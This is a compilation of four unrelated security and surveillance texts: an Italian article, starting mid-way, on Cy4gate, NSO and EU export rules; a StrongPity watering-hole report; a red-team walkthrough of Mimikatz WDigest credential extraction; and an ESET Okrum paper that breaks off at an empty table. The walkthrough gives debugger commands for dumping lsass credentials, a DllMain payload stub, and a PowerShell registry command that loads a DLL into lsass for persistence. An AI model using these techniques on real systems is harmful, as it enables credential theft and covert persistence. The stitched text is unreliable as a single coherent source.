Il Dipartimento del Commercio degli Stati Uniti il 3 novembre scorso ha inserito NSO in una blacklist dove vengono inserite aziende i cui software sono stati usati per «prendere di mira in modo doloso funzionari governativi, giornalisti, uomini d’affari, attivisti, accademici e dipendenti delle ambasciate», come recita il comunicato stesso. Chi è inserito nella lista non può più acquistare tecnologia da società statunitensi, che a loro volta hanno ovviamente il divieto di vendere alle aziende che si trovano sulla lista stessa. L’iniziativa è stata presa dal Dipartimento del Commercio a seguito delle rivelazioni del Pegasus Project.
Per quanto sempre più discusso e controverso, NSO Group resta un punto di riferimento del settore. Cy4gate non fa eccezione: «I nostri competitor principali sul settore governativo sono israeliani e sono anche un punto di riferimento perché abbiamo nel tempo imparato molto da loro», diceva nell’intervista di dicembre 2020 a Vivere di dividendi Eugenio Santagata, allora Ad di Cy4gate.
Come dimostrano i contratti ottenuti da Cy4gate, l’azienda si è inserita in mercati controversi, competendo con società che sono state investite da scandali a causa dei contratti stretti con forze dell’ordine di regimi autoritari. Come NSO, che infatti è coinvolta in due casi di rilievo collegati proprio agli Emirati Arabi, Paese dove anche Cy4gate è molto attiva. A inizio ottobre 2021 una corte britannica ha confermato che il primo ministro emiratino, lo sceicco Mohammed bin Rashid al-Maktoum, ha fatto spiare lo smartphone della propria ex moglie e dei suoi legali usando il software Pegasus. NSO aveva rescisso il contratto per l’utilizzo del proprio software dopo essere venuta a conoscenza dell’accaduto.
L’altro caso, invece, riguarda l’ingegnere, blogger, e attivista Ahmed Mansoor, che negli anni è stato oggetto di attacchi con tre diversi software: nel 2011 con quello di FinFisher, nel 2012 con quello di Hacking Team, e nel 2016 con quello di NSO sfruttando una vulnerabilità il cui prezzo è stimato intorno al milione di dollari. In tutti e tre i casi, le tecnologie sono riconducibili alle azioni del governo degli Emirati. Mansoor è stato arrestato nel 2017 e deve scontare una pena di 10 anni per quello che, secondo Human Rights Watch, è stato un processo ingiusto con accuse fittizie.
Alla luce delle ombre che avvolgono i due competitor NSO e Palantir, Cy4gate ha dichiarato di condannare «ogni forma di utilizzo improprio o fuori dalla cornice di legittimità di prodotti che nascono con una chiara, specifica ed esclusiva finalità: supportare gli enti preposti nella prevenzione e repressione di crimini efferati». Inoltre, «Cy4Gate opera esclusivamente nell’alveo delle norme nazionali e internazionali vigenti e mette la propria tecnologia a disposizione delle law enforcement agencies con l’intento di contribuire alla prevenzione e repressione di reati nell’interesse esclusivo delle comunità di cui gli utilizzatori sono i principali tutori», ha dichiarato una portavoce dell’azienda.
E se ci fosse una seconda NSO, l’Europa saprebbe fermarla?
Gli scandali sull’export di tecnologie per la sorveglianza hanno da sempre interessato l’Italia. Dal caso di Area SpA in Siria fino agli abusi delle tecnologie di Hacking Team, il settore dell’export sembra essere in grado di aggirare costantemente ogni norma e controllo, nel quasi silenzio delle Autorità delegate al monitoraggio. Recentemente, il caso emerso con il Pegasus Project del consorzio di giornalisti Forbidden Stories ha sottolineato come questi spyware possano finire con l’essere usati persino in Europa.
Con l’aggiornamento al regolamento europeo sull’export di tecnologie dual-use, adottato dal Parlamento europeo a marzo 2021, l’UE ha cercato di correre ai ripari introducendo maggiori obblighi sulla trasparenza dei singoli stati membri per quanto riguarda le licenze di export concesse, e inoltre sono state incluse categorie più ampie come ad esempio le tecnologie per la cyber sorveglianza e tecnologie biometriche.
Associazioni che si occupano di diritti umani, come Access Now, Amnesty International, Committee to Protect Journalists, FIDH (International Federation for Human Rights), Human Rights Watch, Privacy International, Reporters Without Borders (RSF) hanno subito sottolineato però che questo regolamento rischia comunque di essere carente. Hanno ribadito ad esempio che è necessario che sotto il termine “cyber sorveglianza” siano inclusi anche tutti quei sistemi già regolamentati in precedenza, come ad esempio le sonde per intercettare le comunicazioni su internet e i software per le intrusioni nei dispositivi. Inoltre le associazioni hanno chiesto che le autorità nazionali che si occupano delle licenze per l’export pubblichino mensilmente dei report sulle richieste ricevute. E, soprattutto, auspicano che le autorità tengano in considerazione nelle fasi di valutazione quanto previsto dalla Carta dei diritti fondamentali dell’Ue, delle indicazioni sviluppate dalla Corte di giustizia dell’Unione europea e dalla Corte europea dei diritti umani.
Non è chiaro, però, se gli Stati membri avranno intenzione di applicare questi suggerimenti e tenere sotto controllo un mercato delle tecnologie di sorveglianza che sembra sempre più diventare un asset strategico in campo geopolitico.
Malgrado i recenti passi falsi con le procure italiane, Cy4gate non sembra fermarsi. A giugno 2021 era presente alla conferenza ISS World Middle East and Africa, un evento che fa parte di una serie di conferenze annuali che si svolgono in tutto il mondo dove si ritrovano aziende di sorveglianza, governi ed esperti di sicurezza e intelligence. Nella copia archiviata dell’agenda dell’evento si legge che Cy4gate avrebbe tenuto due sessioni: una su Gens.AI e l’altra sulla piattaforma di cyber intelligence e «come controllare e combinare insieme in tempo reale tutte le informazioni recuperate dal target sotto sorveglianza, facendo leva su più classi di sensori attivi e passivi». Il prossimo appuntamento è con ISS World Europe che si svolgerà a Praga a dicembre.
|
# On the StrongPity Waterhole Attacks
## Targeting Italian and Belgian Encryption Users
By Kurt Baumgartner on October 3, 2016
The StrongPity APT is a technically capable group operating under the radar for several years. The group has quietly deployed zero-day exploits in the past, effectively spearphished targets, and maintains a modular toolset. What is most interesting about this group’s more recent activity, however, is their focus on users of encryption tools, peaking this summer. In particular, the focus was on Italian and Belgian users, but the StrongPity watering holes affected systems in far more locations than just those two. Adding in their creative waterholing and poisoned installer tactics, we describe the StrongPity APT as not only determined and well-resourced, but fairly reckless and innovative as well.
## Encryption Tools
Clearly, this APT is interested in encrypted data and communications. The tools targeted by this group enable practices for securing secrecy and integrity of data. For example, WinRAR packs and encrypts files with strong suites like AES-256, and TrueCrypt encrypts full hard drives all in one swoop. Both WinRAR and TrueCrypt help provide strong and reliable encryption. WinRAR enables a person to encrypt a file with AES-256 in CBC mode with a strong PBKDF2 HMAC-SHA256 based key. TrueCrypt provides an effective open-source full disk encryption solution for Windows, Apple, Linux, and Android systems. Using both of these tools together, a sort of one-off, poor man’s end-to-end encryption can be maintained for free by putting these two solutions together with free file sharing services.
Other software applications help to support encrypted sessions and communications. Well-known applications supporting end-to-end encryption are used by hundreds of millions of folks, sometimes unknowingly, every day. IM clients like Microsoft’s Skype implement 256-bit AES encrypted communications, while Putty, Winscp, and Windows Remote Desktop help provide private communications and sessions with fully encrypted communications as well. Most of these communications across the wire are currently unbreakable when intercepted, at least, when the applications are configured properly.
## Summer 2016 Watering Hole Resources and Trickery – WinRAR and TrueCrypt
This actor set up a particularly clever site to deliver trojanized WinRAR installers in the summer of 2016, appears to have compromised another, and this activity reminds us somewhat of the early 2014 Crouching Yeti activity. Much of the Crouching Yeti intrusions were enabled by trojanizing legitimate ICS-related IT software installers like SCADA environment VPN client installers and industrial camera software driver installers. Then, they would compromise the legitimate company software distribution sites and replace the legitimate installers with the Crouching Yeti trojanized versions. The tactics effectively compromised ICS and SCADA related facilities and networks around the world. Simply put, even when visiting a legitimate company distribution site, IT staff was downloading and installing ICS-focused malware. StrongPity’s efforts did much the same.
In the case of StrongPity, the attackers were not focused on ICS or SCADA. They set up a domain name (ralrab[.]com) mimicking the legitimate WinRAR distribution site (rarlab[.]com), and then placed links on a legitimate “certified distributor” site in Europe to redirect to their poisoned installers hosted on ralrab[.]com. In Belgium, the attackers placed a “recommended” link to their ralrab[.]com site in the middle of the localized WinRAR distribution page on winrar[.]be. The big blue recommended button (here in French) linked to the malicious installer, while all the other links on the page directed to legitimate software.
The winrar[.]be site evaluated what “recommended” package a visitor may need based on browser localization and processor capability, and accordingly offered up appropriate trojanized versions. Installer resources named for French and Dutch versions, along with 32-bit versus 64-bit compiled executables were provided over the summer.
The first available visitor redirects from winrar[.]be to ralrab[.]com first appeared on May 28th, 2016, from the Dutch speaking version of the winrar.be site. Around the same time, another “certified distributor” winrar[.]it served trojanized installers as well. The major difference here is that we didn’t record redirections to ralrab[.]com, but it appears the site directly served StrongPity trojanized installers.
Quite simply, the download links on this site directed visitors to trojanized WinRAR installers hosted from the winrar.it site itself. It’s interesting to note that both of the sites are “distributors,” where the sites are owned and managed not by rarlabs, but by local owners in individual countries.
StrongPity also directed specific visitors from popular, localized software sharing sites directly to their trojanized installers. This activity continued into late September 2016. In particular, the group redirected visitors from software aggregation and sharing site tamindir[.]com to their attacker-controlled site at true-crypt[.]com. The StrongPity controlled Truecrypt site is a complete rip of the legitimate site, now hosted by Sourceforge.
Unlike the newer poisoned WinRAR installers, StrongPity hosted several filenames to keep up with visitor interests. Visitors may have been directed to the site by other means and downloaded directly from the ripped and persuasive site.
At the very bottom of the page, there are a couple of links to the poisoned installers. Referrers include these localized software aggregates and sharers. It’s interesting that Ksn recorded appearance of the file on two unique systems in December 2015, a third in January 2016, all in Turkey, and then nothing until May 2016. Then, deployment of the installers continued mostly within Turkey in July and September 2016.
## Geolocations – WinRAR and TrueCrypt
Over the course of a little over a week, malware delivered from winrar.it appeared on over 600 systems throughout Europe and Northern Africa/Middle East. Likely, many more infections actually occurred. Accordingly, the country with the overwhelming number of detections was in Italy followed by Belgium and Algeria. The top countries with StrongPity malware from the winrar.it site from May 25th through the first few days of June are Italy, Belgium, Algeria, Cote D’Ivoire, Morocco, France, and Tunisia.
In a similar time-span, the over sixty visitors redirected from winrar.be to ralrab.com for malicious file download were overwhelmingly located in one country. The top countries directed to StrongPity malware from the winrar.be site from May 25th through the first few days of June are Belgium, Algeria, Morocco, Netherlands, Canada, Cote D’Ivoire, and Tunisia.
StrongPity previously set up TrueCrypt themed watering holes in late 2015. But their offensive activity surged in late summer 2016. The group set up a site directly pulled from the contents of the legitimate TrueCrypt website. From mid-July to early September, dozens of visitors were redirected from tamindir[.]com to true-crypt[.]com with unsurprisingly almost all of the focus on systems in Turkey, with victims in the Netherlands as well.
## StrongPity Malware
The StrongPity droppers were often signed with unusual digital certificates, dropping multiple components that not only provide complete control of the victim system, but effectively steal disk contents, and can download components for further collection of various communications and contacts. Because we are talking about StrongPity watering holes, let’s take a quick look at what is being delivered by the group from these sites.
When we count all systems from 2016 infected with any one of the StrongPity components or a dropper, we see a more expansive picture. This data includes over 1,000 systems infected with a StrongPity component. The top five countries include Italy, Turkey, Belgium, Algeria, and France.
In the case of the winrar[.]be/ralrab[.]com watering hole malware, each one of the six droppers that we observed created a similar set of dropped components on disk. And, in these cases, the attackers did not reuse their fake digital certificates. In addition to installing the legitimate version of WinRAR, the dropper installed the following StrongPity components:
- %temp%\procexp.exe
- %temp%\sega\
- nvvscv.exe
- prst.cab
- prst.dll
- wndplyr.exe
- wrlck.cab
- wrlck.dll
Of these files, two are configurable and encrypted with the same keyless cipher, “wrlck.cab” and “prst.cab.” While one maintains several callback c2 for the backdoor to fetch more instructions and upload installed software and file paths, the other maintains something a bit more unusual. “prst.cab” maintains an encrypted list of programs that maintain encrypted connections. This simple encoding takes the most significant nibble for each character, swaps the nibbles of that byte, and xors the result against the original value.
Using that cipher in the ralrab[.]com malware, the package is configured to seek out several crypto-enabled software applications, highlighting the group’s interest in users of more encryption-supported software suites:
- putty.exe (a Windows SSH client)
- filezilla.exe (supports FTPS uploads)
- winscp.exe (a Windows secure copy application, providing encrypted and secure file transfer)
- mstsc.exe (Windows Remote Desktop client, providing an encrypted connection to remote systems)
- mRemoteNG.exe (a remote connections manager supporting SSH, RDP, and other encrypted protocols)
Also included in StrongPity components are keyloggers and additional data stealers.
## Conclusion
Widely available, strong cryptography software tools help provide secure and private communications that are now easily obtained and usable. In the summer of 2016, multiple encryption-enabled software applications were targeted with watering hole, social engineering tactics, and spyware by the StrongPity APT. While watering holes and poisoned installers are tactics that have been effectively used by other APTs, we have never seen the same focus on cryptographic-enabled software. When visiting sites and downloading encryption-enabled software, it has become necessary to verify the validity of the distribution site and the integrity of the downloaded file itself. Download sites not using PGP or strong digital code signing certificates need to re-examine the necessity of doing so for their own customers. We have seen other APTs such as Crouching Yeti and Darkhotel distribute poisoned installers and poisoned executable code, then redistribute them through similar tactics and over P2P networks. Hopefully, simpler verification systems than the current batch of PGP and SSL applications will arise to be adopted in larger numbers. Until then, strong anti-malware and dynamic whitelisting solutions will be more necessary than ever.
|
# Exploring Mimikatz - Part 1 - WDigest
We’ve packed it, we’ve wrapped it, we’ve injected it and powershell’d it, and now we’ve settled on feeding it a memory dump, and still Mimikatz remains the tool of choice when extracting credentials from lsass on Windows systems. Of course this is due to the fact that with each new security control introduced by Microsoft, GentilKiwi always has a trick or two up his sleeve. If you have ever looked at the effort that goes into Mimikatz, this is no easy task, with all versions of Windows x86 and x64 supported (and more recently, additions to support Windows on ARM arch). And of course with the success of Mimikatz over the years, BlueTeam are now very adept at detecting its use in its many forms. Essentially, execute Mimikatz on a host, and if the environment has any maturity at all you’re likely to be flagged.
Through my many online and offline rants conversations, people likely know by now my thoughts on RedTeam understanding their tooling beyond just executing a script. And with security vendors reducing and monitoring the attack surface of common tricks often faster than we can discover fresh methods, knowing how a particular technique works down to the API calls can offer a lot of benefits when avoiding detection in well protected environments.
This being said, Mimikatz is a tool that is carried along with most post-exploitation toolkits in one form or another. And while some security vendors are monitoring for process interaction with lsass, many more have settled on attempting to identify Mimikatz itself.
I’ve been toying with the idea of stripping down Mimikatz for certain engagements (mainly those where exfiltrating a memory dump isn’t feasible or permitted), but it has been bugging me for a while that I’ve spent so long working with a tool that I’ve rarely reviewed low-level. So over a few posts I wanted to change this and explore some of its magic, starting with where it all began… WDigest. Specifically, looking at how cleartext credentials are actually cached in lsass, and how they are extracted out of memory with `sekurlsa::wdigest`. This will mean disassembly and debugging, but hopefully by the end you will see that while it's difficult to duplicate the amount of effort that has gone into Mimikatz, if your aim is to only use a small portion of the available functionality, it may be worth crafting a custom tool based on the Mimikatz source code, rather than opting to take along the full suite.
To finish off the post I will also explore some additional methods of loading arbitrary DLLs within lsass, which can hopefully be combined with the code examples demonstrated.
**Note:** This post uses Mimikatz source code heavily as well as the countless hours dedicated to it by its developer(s). This effort should become more apparent as you see undocumented structures which are suddenly revealed when browsing through code. Thanks to Mimikatz, Benjamin Delpy and Vincent Le Toux for their awesome work.
## So, how does this “sekurlsa::wdigest” magic actually work?
So as mentioned, in this post we will look at is WDigest, arguably the feature that Mimikatz became most famous for. WDigest credential caching was of course enabled by default up until Windows Server 2008 R2, after which caching of plain-text credentials was disabled.
When reversing an OS component, I usually like to attach a debugger and review how it interacts with the OS during runtime. Unfortunately in this case this isn’t going to be just as simple as attaching WinDBG to lsass, as pretty quickly you’ll see Windows grind to a halt before warning you of a pending reboot. Instead we’ll have to attach to the kernel and switch over to the lsass process from Ring-0. If you have never attached WinDBG to the kernel before, check out one of my previous posts on how to go about setting up a kernel debugger.
With a kernel debugger attached, we need to grab the `EPROCESS` address of the lsass process, which is found with the `!process 0 0 lsass.exe` command. With the `EPROCESS` address identified (ffff9d01325a7080 above), we can request that our debug session is switched to the lsass process context. A simple `lm` will show that we now have access to the WDigest DLL memory space. If at this point you find that symbols are not processed correctly, a `.reload /user` will normally help.
With the debugger attached, let’s dig into WDigest.
### Diving into wdigest.dll (and a little lsasrv.dll)
If we look at Mimikatz source code, we can see that the process of identifying credentials in memory is to scan for signatures. Let’s take the opportunity to use a tool which appears to be in vogue at the minute, Ghidra, and see what Mimikatz is hunting for. As I’m currently working on Windows 10 x64, I’ll focus on the `PTRN_WIN6_PasswdSet` signature seen below. After providing this search signature to Ghidra, we reveal what Mimikatz is scanning memory for.
Above we have the function `LogSessHandlerPasswdSet`. Specifically the signature references just beyond the `l_LogSessList` pointer. This pointer is key to extracting credentials from WDigest, but before we get ahead of ourselves, let’s back up and figure out what exactly is calling this function by checking for cross references, which lands us here: Here we have `SpAcceptCredentials`, which is an exported function from WDigest.dll, but what does this do?
This looks promising as we can see that credentials are passed via this callback function. Let’s confirm that we are in the right place. In WinDBG we can add a breakpoint with `bp wdigest!SpAcceptCredentials` after which we use the `runas` command on Windows to spawn a shell. This should be enough to trigger the breakpoint. Inspecting the arguments to the call, we can now see credentials being passed in.
If we continue with our execution and add another breakpoint on `wdigest!LogSessHandlerPasswdSet`, we find that although our username is passed, a parameter representing our password cannot be seen. However, if we look just before the call to `LogSessHandlerPasswdSet`, what we find is this: This is actually a stub used for Control Flow Guard (Ghidra 9.0.3 looks like it has an improvement for displaying CFG stubs), but following along in a debugger shows us that the call is actually to `LsaProtectMemory`.
This is expected as we know that credentials are stored encrypted within memory. Unfortunately `LsaProtectMemory` isn’t exposed outside of lsass, so we need to know how we can recreate its functionality to decrypt extracted credentials. Following with our disassembler shows that this call is actually just a wrapper around `LsaEncryptMemory` and `LsaEncryptMemory` is actually just wrapping calls to `BCryptEncrypt`.
Interestingly, the encryption/decryption function is chosen based on the length of the provided blob of data to be encrypted. If the length of the buffer provided is divisible by 8 (donated by the “param_2 & 7” bitwise operation in the screenshot above), then AES is used. Failing this, 3Des is used.
So we now know that our password is encrypted by `BCryptEncrypt`, but what about the key? Well if we look above, we actually see references to `lsasrv!h3DesKey` and `lsasrv!hAesKey`. Tracing references to these addresses shows that `lsasrv!LsaInitializeProtectedMemory` is used to assign each an initial value. Specifically each key is generated based on calls to `BCryptGenRandom`.
This means that a new key is generated randomly each time lsass starts, which will have to be extracted before we can decrypt any cached WDigest credentials. Back to the Mimikatz source code to confirm that we are not going too far off track, we see that there is indeed a hunt for the `LsaInitializeProtectedMemory` function, again with a comprehensive list of signatures for differing Windows versions and architectures.
And if we search for this within Ghidra, we see that it lands us here: Here we see a reference to the `hAesKey` address. So, similar to the above signature search, Mimikatz is hunting for cryptokeys in memory.
Next we need to understand just how Mimikatz goes about pulling the keys out of memory. For this we need to refer to `kuhl_m_sekurlsa_nt6_acquireKey` within Mimikatz, which highlights the lengths that this tool goes to in supporting different OS versions. We see that `hAesKey` and `h3DesKey` (which are of the type `BCRYPT_KEY_HANDLE` returned from `BCryptGenerateSymmetricKey`) actually point to a struct in memory consisting of fields including the generated symmetric AES and 3DES keys. This struct can be found documented within Mimikatz:
```c
typedef struct _KIWI_BCRYPT_HANDLE_KEY {
ULONG size;
ULONG tag; // 'UUUR'
PVOID hAlgorithm;
PKIWI_BCRYPT_KEY key;
PVOID unk0;
} KIWI_BCRYPT_HANDLE_KEY, *PKIWI_BCRYPT_HANDLE_KEY;
```
We can correlate this with WinDBG to make sure we are on the right path by checking for the “UUUR” tag referenced above: At offset 0x10 we see that Mimikatz is referencing `PKIWI_BCRYPT_KEY` which has the following structure:
```c
typedef struct _KIWI_BCRYPT_KEY81 {
ULONG size;
ULONG tag; // 'MSSK'
ULONG type;
ULONG unk0;
ULONG unk1;
ULONG unk2;
ULONG unk3;
ULONG unk4;
PVOID unk5; // before, align in x64
ULONG unk6;
ULONG unk7;
ULONG unk8;
ULONG unk9;
KIWI_HARD_KEY hardkey;
} KIWI_BCRYPT_KEY81, *PKIWI_BCRYPT_KEY81;
```
And sure enough, following along with WinDBG reveals the same referenced tag: The final member of this struct is a reference to the Mimikatz named `KIWI_HARD_KEY`, which contains the following:
```c
typedef struct _KIWI_HARD_KEY {
ULONG cbSecret;
BYTE data[ANYSIZE_ARRAY]; // etc...
} KIWI_HARD_KEY, *PKIWI_HARD_KEY;
```
This struct consists of the size of the key as `cbSecret`, followed by the actual key within the `data` field. This means we can use WinDBG to extract this key with: This gives us our `h3DesKey` which is 0x18 bytes long consisting of `b9 a8 b6 10 ee 85 f3 4f d3 cb 50 a6 a4 88 dc 6e ee b3 88 68 32 9a ec 5a`.
Knowing this, we can follow the same process to extract `hAesKey`.
Now that we understand just how keys are extracted, we need to hunt for the actual credentials cached by WDigest. Let’s go back to the `l_LogSessList` pointer we discussed earlier. This field corresponds to a linked list, which we can walk through using the WinDBG command `!list -x "dq @$extret" poi(wdigest!l_LogSessList)`.
The structure of these entries contain the following fields:
```c
typedef struct _KIWI_WDIGEST_LIST_ENTRY {
struct _KIWI_WDIGEST_LIST_ENTRY *Flink;
struct _KIWI_WDIGEST_LIST_ENTRY *Blink;
ULONG UsageCount;
struct _KIWI_WDIGEST_LIST_ENTRY *This;
LUID LocallyUniqueIdentifier;
} KIWI_WDIGEST_LIST_ENTRY, *PKIWI_WDIGEST_LIST_ENTRY;
```
Following this struct are three `LSA_UNICODE_STRING` fields found at the following offsets:
- 0x30 - Username
- 0x40 - Hostname
- 0x50 - Encrypted Password
Again we can check that we are on the right path with WinDBG using a command such as `!list -x "dS @$extret+0x30" poi(wdigest!l_LogSessList)`. This will dump cached usernames as: And finally we can dump encrypted password using a similar command: `!list -x "db poi(@$extret+0x58)" poi(wdigest!l_LogSessList)`.
And there we have it, all the pieces required to extract WDigest credentials from memory.
So now that we have all the information needed for the extraction and decryption process, how feasible would it be to piece this together into a small standalone tool outside of Mimikatz? To explore this I’ve created a heavily commented POC which is available here. When executed on Windows 10 x64 (build 1809), it provides verbose information on the process of extracting creds.
By no means should this be considered OpSec safe, but it will hopefully give an example of how we can go about crafting alternative tooling.
Now that we understand how WDigest cached credentials are grabbed and decrypted, we can move onto another area affecting the collection of plain-text credentials, “UseLogonCredential”.
So as we know, with everyone running around dumping cleartext credentials, Microsoft decided to disable support for this legacy protocol by default. Of course there will be some users who may be using WDigest, so to provide the option of re-enabling this, Microsoft pointed to a registry key of `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential`. Toggling this from ‘0’ to ‘1’ forces WDigest to start caching credentials again, which of course meant that pentesters were back in the game… however there was a catch, toggling this setting required a reboot of the OS, and I’ve yet to meet a client who would allow this outside of a test environment.
The obvious question is… why do you need to reboot the machine for this to take effect?
**Edit:** As pointed out by GentilKiwi, a reboot isn’t required for this change to take effect. I’ve added a review of why this is at the end of this section.
Let’s take a look at `SpAcceptCredentials` again, and after a bit of hunting we find this: Here we can clearly see that there is a check for two conditions using global variables. If `g_IsCredGuardEnabled` is set to 1, or `g_fParameter_UseLogonCredential` is set to 0, we find that the code path taken is via `LogSessHandlerNoPasswordInsert` rather than the above `LogSessHandlerPasswdSet` call. As the name suggests, this function caches the session but not the password, resulting in the behaviour we normally encounter when popping Windows 2012+ boxes. It’s therefore reasonable to assume that this variable is controlled by the above registry key value based on its name, and we find this to be the case by tracing its assignment.
By understanding what variables within WDigest.dll control credential caching, can we subvert this without updating the registry? What if we update that `g_fParameter_UseLogonCredential` parameter during runtime with our debugger? Resuming execution, we see that cached credentials are stored again.
Of course most things are possible when you have a kernel debugger hooked up, but if you have a way to manipulate lsass memory without triggering AV/EDR (see our earlier Cylance blog post for one example of how you would do this), then there is nothing stopping you from crafting a tool to manipulate this variable. Again I’ve created a heavily verbose tool to demonstrate how this can be done which can be found here.
This example will hunt for and update the `g_fParameter_UseLogonCredential` value in memory. If you are operating against a system protected with Credential Guard, the modifications required to also update this value are trivial and left as an exercise to the reader.
With our POC executed, we find that WDigest has now been re-enabled without having to set the registry key, allowing us to pull out credentials as they are cached. Again this POC should not be considered as OpSec safe, but used as a verbose example of how you can craft your own.
Now of course this method of enabling WDigest comes with risks, mainly the `WriteProcessMemory` call into lsass, but if suited to the environment it offers a nice way to enable WDigest without setting a registry value. There are also other methods of acquiring plain-text credentials which may be more suited to your target outside of WDigest (memssp for one, which we will review in a further post).
**Edit:** As pointed out by GentilKiwi, a reboot is not required for `UseLogonCredential` to take effect… so back to the disassembler we go. Reviewing other locations referencing the registry value, we find `wdigest!DigestWatchParamKey` which monitors a number of keys including: The Win32 API used to trigger this function on update is `RegNotifyKeyChangeValue`. And if we add a breakpoint on `wdigest!DigestWatchParamKey` in WinDBG, we see that this is triggered as we attempt to add a `UseLogonCredential`.
## Bonus Round - Loading an arbitrary DLL into LSASS
So while digging around with a disassembler I wanted to look for an alternative way to load code into lsass while avoiding potentially hooked Win32 API calls, or by loading an SSP. After some disassembly, I came across the following within `lsasrv.dll`: This attempt to call `LoadLibraryExW` on a user provided value can be found within the function `LsapLoadLsaDbExtensionDll` and allows us to craft a DLL to be loaded into the lsass process, for example:
```c
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
// Insert l33t payload here
break;
}
// Important to avoid BSOD
return FALSE;
}
```
It is important that at the end of the `DllMain` function, we return `FALSE` to force an error on `LoadLibraryEx`. This is to avoid the subsequent call to `GetProcAddress`. Failing to do this will result in a BSOD on reboot until the DLL or registry key is removed.
With a DLL crafted, all that we then need to do is create the above registry key:
```powershell
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NTDS -Name LsaDbExtPt -Value "C:\xpnsec.dll"
```
Loading of the DLL will occur on system reboot, which makes it a potential persistence technique for privileged compromises, pushing your payload straight into lsass (as long as PPL isn’t enabled of course).
## Bonus Round 2 - Loading arbitrary DLL into LSASS remotely
After some further hunting, a similar vector to that above was found within `samsrv.dll`. Again a controlled registry value is loaded into lsass by a `LoadLibraryEx` call. Again we can leverage this by adding a registry key and rebooting, however triggering this case is a lot simpler as it can be fired using SAMR RPC calls.
Let’s have a bit of fun by using our above WDigest credential extraction code to craft a DLL which will dump credentials for us. To load our DLL, we can use a very simple Impacket Python script to modify the registry and add a key to `HKLM\SYSTEM\CurrentControlSet\Services\NTDS\DirectoryServiceExtPt` pointing to our DLL hosted on an open SMB share, and then trigger the loading of the DLL using a call to `hSamConnect` RPC call. The code looks like this: And in practice, we can see credentials pulled from memory.
The code for the DLL used can be found here, which is a modification of the earlier example. So hopefully this post has given you an idea as to how WDigest credential caching works and how Mimikatz goes about pulling and decrypting passwords during `sekurlsa::wdigest`. More importantly I hope that it will help anyone looking to craft something custom for their next assessment. I’ll be continuing by looking at other areas which are commonly used during an engagement, but if you have any questions or suggestions, give me a shout at the usual places.
|
# ESET Research White Papers
## OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY
**Author:** Zuzana Hromcová
## 1. SUMMARY
The Ke3chang group, also known as APT15, is a threat group believed to be operating out of China. Its attacks were first reported in 2012, when the group used a remote access trojan (RAT) known as Mirage to attack high-profile targets around the world. However, the group’s activities were traced back to at least 2010 in FireEye’s 2013 report on operation Ke3chang – a cyberespionage campaign directed at diplomatic organizations and missions in Europe. The attackers resurfaced with malware dubbed TidePool, documented as part of a campaign spanning from 2012 to 2015, and later with the RoyalCLI and RoyalDNS backdoors, which were used to target the UK government from 2016 to 2017. In 2018, the Ke3chang group was spotted using an apparently updated version of the Mirage RAT, dubbed MirageFox.
We have been tracking the malicious activities related to this threat actor and made several noteworthy discoveries. First, from 2015 to 2019, we detected new versions of known malware families attributed to the Ke3chang group – BS2005 (operation Ke3chang malware) and the RoyalDNS malware. Second, we identified a previously undocumented malware family with strong links to the Ke3chang group – a backdoor we named Okrum. We first detected Okrum, through ESET telemetry, in December 2016; it targeted diplomatic missions in Slovakia, Belgium, Chile, Guatemala, and Brazil throughout 2017. In this paper, we will take a deep technical look at this previously undocumented malware family and the other Ke3chang malware families detected from 2015 to 2019. We will provide evidence that the latter are evolved versions of known malware families attributed to the Ke3chang group and explain how Okrum is linked to them – in terms of code, modus operandi, and shared targets.
**Note:** New versions of operation Ke3chang malware from 2015-2019 are detected by ESET systems as Win32/Ketrican, and collectively referred to across this paper as Ketrican backdoors/samples, marked with the relevant year.
## 2. INVESTIGATION TIMELINE
**2015: Ketrican**
In 2015, we identified new suspicious activities in European countries. The group behind the attacks seemed to have a particular interest in Slovakia, where many of the discovered malware samples were detected; Croatia, the Czech Republic, and other countries were also affected. Our technical analysis of the malware used in these attacks showed close ties to BS2005 backdoors from operation Ke3chang, previously documented by FireEye in 2013, and to a related TidePool malware family discovered by Palo Alto Networks in 2016 that targeted Indian embassies across the globe.
**2016-2017: Okrum**
The story continued in late 2016, when we discovered a new, previously unknown backdoor that we named Okrum. The malicious actors behind the Okrum malware were focused on the same targets in Slovakia that were previously targeted by Ketrican 2015 backdoors.
**2017: Ketrican and RoyalDNS**
Red lights started flashing when we discovered that the Okrum backdoor was used to drop a Ketrican backdoor, freshly compiled in 2017. In 2017, the same entities that were affected by the Okrum malware (and by the 2015 Ketrican backdoors) again became targets of the malicious actors. This time, the attackers used new versions of the RoyalDNS malware and a Ketrican 2017 backdoor.
**2018: Ketrican**
In 2018, we discovered a new version of the Ketrican backdoor that featured some code improvements.
**2019: Ketrican**
In March 2019, we detected a new Ketrican sample that has evolved from the 2018 Ketrican backdoor. It affected the same targets as the backdoor from 2018. This timeline of events shows that the attackers were focused on the same type of targets but were using different malicious toolsets to compromise them – exposing their previously unknown project, Okrum, in the process.
## 3. OKRUM MALWARE
In late 2016, we identified a previously unknown backdoor that we named Okrum. We discovered that the Okrum backdoor was used to deliver a Ketrican sample. This newly discovered Ketrican sample from 2017 has evolved from the Ke3chang group’s BS2005 malware family. Moreover, the entities where we detected Okrum in 2017 were previously affected with backdoors known to be attributed to the Ke3chang group – another hint that Okrum is the work of the same threat actor.
The following sections provide a deep technical analysis of the Okrum backdoor.
### 3.1 Technical analysis of Okrum
The functionality of the Okrum backdoor is not unlike the other backdoors operated by the Ke3chang group. The commands allow the attackers to download and upload files, execute binaries, or run shell commands. The backdoor can also update itself to a newer version and can adjust the time it sleeps after each backdoor command.
The backdoor itself is a dynamic-link library that is installed and loaded by two earlier-stage components. During our investigation, the implementation of these two components was changed frequently. Every few months, the authors actively changed the implementation of the loader and installer components to avoid detection. At the time of this publication, ESET systems have detected seven different versions of the loader component and two versions of the installer, although the functionality remained the same.
We have not been able to find the original attack vector and dropper of the malware, but we have identified several components used in the Okrum malware:
- An optional stage 0 loader
- Stage 1 loader
- An installer component
- A PNG file with an embedded backdoor
**Table 1** lists the analyzed Okrum backdoor components.
| SHA-1 | PE Timestamp | File extension | Comment |
|-------|--------------|----------------|---------|
